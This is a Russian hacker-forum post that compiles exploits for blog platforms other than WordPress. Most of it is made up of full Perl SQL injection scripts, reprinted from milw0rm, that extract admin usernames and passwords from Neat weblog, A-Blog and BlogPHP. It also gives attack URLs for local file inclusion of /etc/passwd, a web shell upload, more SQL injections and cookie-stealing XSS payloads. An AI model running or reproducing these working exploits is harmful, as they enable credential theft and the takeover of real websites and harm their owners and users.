Форум АНТИЧАТ - Показать сообщение отдельно - [ Обзор уязвимостей в блогах (кроме WР) ]

Neat weblog 0.2 SQL Injection

PHP код:


		
			
#!/usr/bin/perl

#####################################################################################

####                            Neat weblog 0.2                                  ####

####                        SQL Injection Exploit                                ####

#####################################################################################

#                                                                                   #

#Discovered by : IRCRASH (Dr.Crash)                                                 #

#Exploited By : Dr.Crash                                                            #

#IRCRASH Team Members : Dr.Crash - Malc0de - R3d.w0rm                               #

#                                                                                   #

#####################################################################################

#                                                                                   #

#Script Download : http://kent.dl.sourceforge.net/sourceforge/neat-web/neat0.2.zip  #

#                                                                                   #

#####################################################################################

#                                   < SQL >                                         #

#SQL Address : http://Sitename/index.php?action=show&articleId=99999%27union/**/select/**/0,concat(user,0x120,password),2,3,4,5,6,7,8/**/from/**/neat_users/**/where+id=1/*

#                                                                                   #

#####################################################################################

#                         Our site : Http://IRCRASH.COM                             #

#####################################################################################



use LWP;

use HTTP::Request;

use Getopt::Long;

 

 

sub header

{

print "

****************************************************

*      Neat weblog 0.2 Sql Injection exploit       *

****************************************************

*AUTHOR : IRCRASH                                  *

*Discovered by : IRCRASH (Dr.Crash)                *

*Our Site : IRCRASH.COM                            *

****************************************************";

}

 

sub usage

{

  print "

* Usage : perl $0 -url http://Sitename/

****************************************************

";

}                                                                                  

 

 

my %parameter = ();

GetOptions(\%parameter, "url=s");

 

$url = $parameter{"url"};

 

if(!$url)

{

header();

usage();

exit;

}

if($url !~ /\//){$url = $url."/";}

if($url !~ /http:\/\//){$url = "http://".$url;}

$vul = "/index.php?action=show&articleId=99999%27union/**/select/**/0,concat(0x4c6f67696e3a,user,0x3c656e64757365723e,0x0d0a50617373776f72643a,password,0x3c656e64706173733e),2,3,4,5,6,7,8/**/from/**/neat_users/**/where+id=1/*";

sub Exploit()

{

$requestpage = $url.$vul;

print "Requesting Page is ".$url."\n";

 

my $req  = HTTP::Request->new("POST",$requestpage);

$ua = LWP::UserAgent->new;

$ua->agent( 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );

$req->referer($url);

$req->referer("http://IRCRASH.COM");

$req->content_type('application/x-www-form-urlencoded');

$req->header("content-length" => $contlen);

$req->content($poststring);

 

$response = $ua->request($req);

$content = $response->content;

$header = $response->headers_as_string();

 

#Debug Modus delete # at beginning of next line

#print $content;

 

@name = split(/Login:/,$content);

$name = @name[1];

@name = split(/<enduser>/,$name);

$name = @name[0];

 

@password = split(/Password:/,$content);

$password = @password[1];

@password = split(/<endpass>/,$password);

$password = @password[0];



if(!$name && !$password)

{

print "\n\n";

print "!Exploit failed ! :(\n\n";

exit;

}

 

print "Username: ".$name."\n";

print "Password: " .$password."\n\n";

print "Crack Password And Login In : $url/index.php?action=login\n";

print "Enjoy My friend .....\n";

 

}

 

#Starting;

print "

****************************************************

*      Neat weblog 0.2 Sql Injection exploit       *

****************************************************

*AUTHOR : IRCRASH                                  *

*Discovered by : IRCRASH (Dr.Crash)                *

*Our Site : IRCRASH.COM                            *

****************************************************";

print "\n\nExploiting...\n";

Exploit();



# milw0rm.com [2008-03-31]

Lightblog 9.6 local file inclusion

Код:

http://localhost/LightBlog9.6/view_member.php?username=../../../../../../../../../../etc/passwd%00

Artmedic weblog local file inclusion

Цитата:

http://localhost/artmedic_weblog/index.php?ta=../../../../../../../../../../etc/passwd%00
http://localhost/artmedic_weblog/artmedic_print.php?date=../../../../../../../../../../etc/passwd%00

A-Blog V.2 (id) XSS / SQL Injection

PHP код:


		
			
#!/usr/bin/perl

#####################################################################################

####                                 A-Blog V.2                                  ####

####             Multiple Remote Vulnerabilities (SQL Injection Exploit/XSS)     ####

#####################################################################################

#                                                                                   #

#AUTHOR : IRCRASH                                                                   #

#Discovered by : Dr.Crash                                                           #

#Exploited By : Dr.Crash                                                            #

#IRCRASH Team Members : Dr.Crash - Malc0de - R3d.w0rm                               #

#                                                                                   #

#####################################################################################

#                                                                                   #

#Script Download : http://heanet.dl.sourceforge.net/sourceforge/a-blog/A-BlogV2.rar #

#                                                                                   #

#####################################################################################

#                                   < XSS >                                         #

#XSS Address : http://Sitename/search.php?words=<script>alert(document.cookie);</script>&submit=Go

#                                                                                   #

#####################################################################################

#                                   < SQL >                                         #

#SQL Address : http://Sitename/blog.php?view=news&id=9999%27union/**/select/**/CoNcAt(0x4c6f67696e3a,name,0x3c656e64757365723e,0x0d0a50617373776f72643a,password,0x3c656e64706173733e)/**/from/**/site_administrators/*

# Help : See Username And Password In Site Title

#                                                                                   #

#####################################################################################

#                         Our site : Http://IRCRASH.COM                             #

#####################################################################################



use LWP;

use HTTP::Request;

use Getopt::Long;

 

 

sub header

{

print "

****************************************************

*          A-Blog V.2 Sql Injection exploit        *

****************************************************

*AUTHOR : IRCRASH                                  *

*Discovered by : Dr.Crash                          *

*Exploited by : Dr.Crash                           *

*Our Site : IRCRASH.COM                            *

****************************************************";

}

 

sub usage

{

  print "

* Usage : perl $0 -url http://Sitename/

****************************************************

";

}                                                                                  

 

 

my %parameter = ();

GetOptions(\%parameter, "url=s");

 

$url = $parameter{"url"};

 

if(!$url)

{

header();

usage();

exit;

}

if($url !~ /\//){$url = $url."/";}

if($url !~ /http:\/\//){$url = "http://".$url;}

$vul = "blog.php?view=news&id=9999%27union/**/select/**/CoNcAt(0x4c6f67696e3a,name,0x3c656e64757365723e,0x0d0a50617373776f72643a,password,0x3c656e64706173733e)/**/from/**/site_administrators/*";

sub Exploit()

{

$requestpage = $url.$vul;

print "Requesting Page is ".$url."\n";

 

my $req  = HTTP::Request->new("POST",$requestpage);

$ua = LWP::UserAgent->new;

$ua->agent( 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );

$req->referer($url);

$req->referer("http://IRCRASH.COM");

$req->content_type('application/x-www-form-urlencoded');

$req->header("content-length" => $contlen);

$req->content($poststring);

 

$response = $ua->request($req);

$content = $response->content;

$header = $response->headers_as_string();

 

#Debug Modus delete # at beginning of next line

#print $content;

 

@name = split(/Login:/,$content);

$name = @name[1];

@name = split(/<enduser>/,$name);

$name = @name[0];

 

@password = split(/Password:/,$content);

$password = @password[1];

@password = split(/<endpass>/,$password);

$password = @password[0];



if(!$name && !$password)

{

print "\n\n";

print "!Exploit failed ! :(\n\n";

exit;

}

 

print "Username: ".$name."\n";

print "Password: " .$password."\n\n";

print "Crack Password And Login In : $url/admin.php\n";

print "Enjoy My friend .....\n";

 

}

 

#Starting;

print "

****************************************************

*          A-Blog V.2 Sql Injection exploit        *

****************************************************

*AUTHOR : IRCRASH                                  *

*Discovered by : Dr.Crash                          *

*Exploited by : Dr.Crash                           *

*Our Site : IRCRASH.COM                            *

****************************************************";

print "\n\nExploiting...\n";

Exploit();



# milw0rm.com [2008-02-03]

BlogPHP v.2 (id) XSS / SQL Injection

PHP код:


		
			
#!/usr/bin/perl

#####################################################################################

####                                 BlogPHP V.2                                 ####

####             Multiple Remote Vulnerabilities (SQL Injection Exploit/XSS)     ####

#####################################################################################

#                                                                                   #

#AUTHOR : IRCRASH                                                                   #

#Discovered by : Dr.Crash                                                           #

#Exploited By : Dr.Crash                                                            #

#IRCRASH Team Members : Dr.Crash - Malc0de - R3d.w0rm                               #

#                                                                                   #

#####################################################################################

#                                                                                   #

#Script Download : http://puzzle.dl.sourceforge.net/sourceforge/blogphpscript/BlogPHPv2.zip

#                                                                                   #

#####################################################################################

#                                   < XSS >                                         #

#XSS Address : http://Sitename/index.php?search=<script>alert(document.cookie);</script>

#                                                                                   #

#####################################################################################

#                                   < SQL >                                         #

#SQL Address : http://Sitename/index.php?act=page&id=999999999%27union/**/select/**/0,1,CoNcAt(0x4c6f67696e3a,username,0x3c656e64757365723e,0x0d0a50617373776f72643a,password,0x3c656e64706173733e),3,4/**/from/**/blogphp_users/*

#                                                                                   #

#####################################################################################

#                         Our site : Http://IRCRASH.COM                             #

#####################################################################################



use LWP;

use HTTP::Request;

use Getopt::Long;

 

 

sub header

{

print "

****************************************************

*        SBlogPHP v.2 Sql Injection exploit        *

****************************************************

*AUTHOR : IRCRASH                                  *

*Discovered by : Dr.Crash                          *

*Exploited by : Dr.Crash                           *

*Our Site : IRCRASH.COM                            *

****************************************************";

}

 

sub usage

{

  print "

* Usage : perl $0 -url http://Sitename/

****************************************************

";

}                                                                                  

 

 

my %parameter = ();

GetOptions(\%parameter, "url=s");

 

$url = $parameter{"url"};

 

if(!$url)

{

header();

usage();

exit;

}

if($url !~ /\//){$url = $url."/";}

if($url !~ /http:\/\//){$url = "http://".$url;}

$vul = "/index.php?act=page&id=999999999%27union/**/select/**/0,1,CoNcAt(0x4c6f67696e3a,username,0x3c656e64757365723e,0x0d0a50617373776f72643a,password,0x3c656e64706173733e),3,4/**/from/**/blogphp_users/*";

sub Exploit()

{

$requestpage = $url.$vul;

print "Requesting Page is ".$url."\n";

 

my $req  = HTTP::Request->new("POST",$requestpage);

$ua = LWP::UserAgent->new;

$ua->agent( 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );

#$req->referer($url);

$req->referer("http://IRCRASH.COM");

$req->content_type('application/x-www-form-urlencoded');

$req->header("content-length" => $contlen);

$req->content($poststring);

 

$response = $ua->request($req);

$content = $response->content;

$header = $response->headers_as_string();

 

#Debug Modus delete # at beginning of next line

#print $content;

 

@name = split(/Login:/,$content);

$name = @name[1];

@name = split(/<enduser>/,$name);

$name = @name[0];

 

@password = split(/Password:/,$content);

$password = @password[1];

@password = split(/<endpass>/,$password);

$password = @password[0];



if(!$name && !$password)

{

print "\n\n";

print "!Exploit failed ! :(\n\n";

exit;

}

 

print "Username: ".$name."\n";

print "Password: " .$password."\n\n";

print "Crack Md5 Password And Login In : $url/login.html\n";

print "Enjoy My friend .....\n";

 

}

 

#Starting;

print "

****************************************************

*        SBlogPHP v.2 Sql Injection exploit        *

****************************************************

*AUTHOR : IRCRASH                                  *

*Discovered by : Dr.Crash                          *

*Exploited by : Dr.Crash                           *

*Our Site : IRCRASH.COM                            *

****************************************************";

print "\n\nExploiting...\n";

Exploit();



# milw0rm.com [2008-02-02]

LightBlog 9.5 File Upload

Заливаем шелл:

Цитата:

http://localhost/light/cp_upload_image.php

Просматриваем:

Цитата:

http://localhost/light/images/shell.php

LulieBlog Version 1.02 Sql Injection

Код:

http://Sitename/voircom.php?id=-1%27union/**/select/**/0,concat(nom_parametre,0x3a,0x3a,valeur_parametre),2,3,4,5/**/from/**/lulieblog_parametres/*

Mooseguy Blog System 1.0 SQL Injection

Уязвимый код:

PHP код:


		
			
<?php

   $month = $_GET['month'];

   $result = mysql_query("SELECT * FROM blog WHERE posted='$month' ORDER BY id DESC") or die("HELP QUERY BROKEN");

   ...

Код:

http://[target]/[path]/blog.php?month='+union+select+1,2,3,4,5,concat_ws(0x3a,id,uname,upass),7,8+from+users/*

Blogcms 4.2.1b (SQL/XSS)

Код:

http://[server]/[installdir]/index.php?query=asd&blogid=1,1)+union+select+1,2,user(),database(),mname,6,7,8,9,10,11,mpassword,13,14,15+from+nucleus_member/*

Цитата:

http://[server]/[installdir]/photo/admin.php/"><script>alert('DSECRG_XSS')</script>
http://[server]/[installdir]/photo/index.php/"><script>alert('DSECRG_XSS')</script>